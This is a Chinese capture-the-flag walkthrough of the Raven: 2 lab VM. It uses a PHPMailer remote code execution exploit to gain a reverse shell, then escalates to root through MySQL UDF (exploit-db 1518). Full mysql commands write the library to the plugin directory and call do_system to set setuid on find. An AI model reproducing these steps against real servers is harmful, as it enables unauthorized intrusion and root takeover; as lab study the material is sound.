这次测试的靶机为 Raven: 2

这里是CTF解题视频地址:https://www.youtube.com/watch?v=KbUUn3SDqaU

此次靶机主要学习 PHPMailer 跟 mymql 的UDF提权。

扫描网站目录发现,还是wordpress搭建的,尝试使用wpscan对靶机进行扫描:

得到用户。

翻看爆破出来的目录,发现 http://192.168.0.141/vendor 存在任意文件遍历

并且在 PATH 目录下隐藏了一个flag,还得知整个网站搭建在 /var/www/html/ 目录下:

并且发现了 PHPMailerAutoload.php 这个显眼的php文件,直接让人想到PHPMailer命令执行漏洞。

在kali 中搜索相关漏洞 searchsploit phpmailer

把相关脚本拷贝到当前目录:

并且修改相关参数,target目标ip,要接收到的攻击者的ip,端口,路径:

保存并编译exp的py程序:

exp成功执行,访问后门文件 joker.php ,并设置端口监听:

shell已经反弹成功,我们用 python -c 'import pty;pty.spawn("/bin/bash")' 生成一个交互式shell,翻看目录,在

wordpress/wp-content.php 文件中找到了数据库账号密码:root/R@v3nSecurity

netstat -a 查看所有socket链接状况:

发现mysql服务启动

ps  aus | grep root 显示有root字符串的进程和其状态,换句话说就是查找出以root权限运行的服务

尝试mysql的udf提权

找exp编号,并在kali上搜索:

具体怎么用,还需要看exp的说明 https://www.exploit-db.com/exploits/1518

先将exp 1518.c 在本地linux上编译完成后,再上传到靶机,这样能避免好多问题:

上传成功后,在靶机上链接mysql数据库并操作:

www-data@Raven:/var/www/html$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.10 sec) mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.15 sec) mysql> insert into foo values(load_file('/var/www/html/1518.so'));
insert into foo values(load_file('/var/www/html/1518.so'));
Query OK, 1 row affected (0.09 sec) mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
Query OK, 1 row affected (0.00 sec) mysql> create function do_system returns integer soname '1518.so';
create function do_system returns integer soname '1518.so';
Query OK, 0 rows affected (0.03 sec) mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.10 sec) mysql> mysql> quit
quit
Bye www-data@Raven:/var/www/html$ touch foo
touch foo

www-data@Raven:/var/www/html$ find foo -exec 'whoami' \;
find foo -exec 'whoami' \;
root

www-data@Raven:/var/www/html$ find foo -exec 'id' \;
find foo -exec 'id' \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' \;
find foo -exec '/bin/sh' \;
#
# whoami
whoami
root
#
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

# cd /root
cd /root

# ls
ls
flag4.txt

# cat flag4.txt
cat flag4.txt
___ ___ ___
| _ \__ ___ _____ _ _ |_ _|_ _|
| / _` \ V / -_) ' \ | | | |
|_|_\__,_|\_/\___|_||_|___|___| flag4{df2bc5e951d91581467bb9a2a8ff4425} CONGRATULATIONS on successfully rooting RavenII I hope you enjoyed this second interation of the Raven VM Hit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io
#

除了 do_system 外还可以使用其他函数:

sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

攻击过程中,如果是linux系统,需要将lib_mysqludf_sys.so上传到数据库能访问的路径下。lib_mysqludf_sys.so的导出路径:

MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把 lib_mysqludf_sys.so 文件放到MySQL安装目录下的lib\plugin\文件夹下才能创建自定义函数。 (此处需要注意:动态库的放置位置为目标机器mysql插件路径,可用以下命令获取:show variables like "%plugin%";)

激活存储过程 do_system 函数:

create function do_system returns string soname 'lib_mysqludf_sys.so ';

进行到此已可用root身份执行命令,替换id即可如:select do_system('whoami');  这将以root身份启动一个应用程序:

select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');  

(chown raptor.raptor 应按实际用户身份更改)

而文中使用了:

select do_system('chmod u+s /usr/bin/find'); 

就是给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令,具体参考:http://www.cnblogs.com/aaronax/p/5618024.html

chmod u+s temp — 为temp文件加上setuid标志. (setuid 只对文件有效)
chmod g+s tempdir — 为tempdir目录加上setgid标志 (setgid 只对目录有效)
chmod o+t temp — 为temp文件加上sticky标志 (sticky只对文件有效)

参考链接:

21. 从一道CTF靶机来学习mysql-udf提权的更多相关文章

  1. mysql udf提权实战测试

    根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...

  2. MySQL UDF提权执行系统命令

    目录 UDF UDF提权步骤 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的功能进行扩充,其实就像使用 ...

  3. mysql UDF提权问题

    测试UDF提权,时候遇到问题,创建函数shell提示存在 当执行操作的时候又提示,shell函数不存在. FUNCTION mysql.shell does not exist 如果在测试环境下,一般 ...

  4. Mysql UDF提权方法

    0x01 UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口.用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sq ...

  5. linux mysql udf 提权

    连接远程数据库 查看插件库路径 show variables like '%plugin%'; 写入udf库到插件目录: 32位: select unhex('7F454C46020101000000 ...

  6. mysql UDF提权 sys_bineval

    介绍: 执行shellcode – sys_bineval sqmapl自带udf.dll中存在函数’sys_bineval,执行shellcode – sys_bineval 利用: MSF生成sh ...

  7. mysql udf提权

    参考文章:https://blog.csdn.net/q1352483315/article/details/98483668

  8. MySQL的system命令在渗透测试中的使用以及UDF提权

    声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错 ...

  9. 内网学习之MySQL服务提权

    利用MySQL提权原理: 1.具有mysql的root权限,且mysql以system权限运行. 2.具有执行sql语句的权限,webshell或者外连皆可 UDF提权 UDF(user define ...

随机推荐

  1. Linux- 自动备份MySQL数据库脚本

    数据安全很重要,所以日常中需要对数据库进行备份.

  2. Using SMOTEBoost(过采样) and RUSBoost(使用聚类+集成学习) to deal with class imbalance

    Using SMOTEBoost and RUSBoost to deal with class imbalance from:https://aitopics.org/doc/news:1B9F7A ...

  3. jenkins-小知识点

    如果想停止jenkins运行 控制面板-服务-查看本地服务-选中jenkins 1.启动类型改为手动 2.改为禁止 使用的时候,每次都改一下状态

  4. tensorflow CUDA 9.0安装成功

    berli@berli-dev:~/tensorflow$ bazel-bin/tensorflow/examples/label_image/label_image 2017-12-18 00:04 ...

  5. 流媒体直播服务器:Bull-Live-Server

    Bull Live Server 简称 BLS ,旨在使用C++语言提供强大功能和高性能的流媒体直播服务器. 为何要写 BLS ? 1.simple rtmp server https://githu ...

  6. ACM学习历程—CodeForces 601A The Two Routes(最短路)

    题目链接:http://codeforces.com/problemset/problem/601/A 题目大意是有铁路和陆路两种路,而且两种方式走的交通工具不能在中途相遇. 此外,有铁路的地方肯定没 ...

  7. bzoj 3091: 城市旅行 LCT

    题目: http://www.lydsy.com/JudgeOnline/problem.php?id=3091 题解: 首先前三个操作就是裸的LCT模板 只考虑第四个操作. 要求我们计算期望,所以我 ...

  8. bzoj 1069: [SCOI2007]最大土地面积 凸包+旋转卡壳

    题目大意: 二维平面有N个点,选择其中的任意四个点使这四个点围成的多边形面积最大 题解: 很容易发现这四个点一定在凸包上 所以我们枚举一条边再旋转卡壳确定另外的两个点即可 旋(xuan2)转(zhua ...

  9. Linux编程之错误代码

    头文件/usr/include/asm-generic/errno-base.h定义错误码: #ifndef _ASM_GENERIC_ERRNO_BASE_H #define _ASM_GENERI ...

  10. 洛谷【P1177】【模板】归并排序

    题目传送门:https://www.luogu.org/problemnew/show/P1177 归并排序: 1.先将\(a\)数组的区间\([l,mid],[mid+1,r]\)排成有序的. 2. ...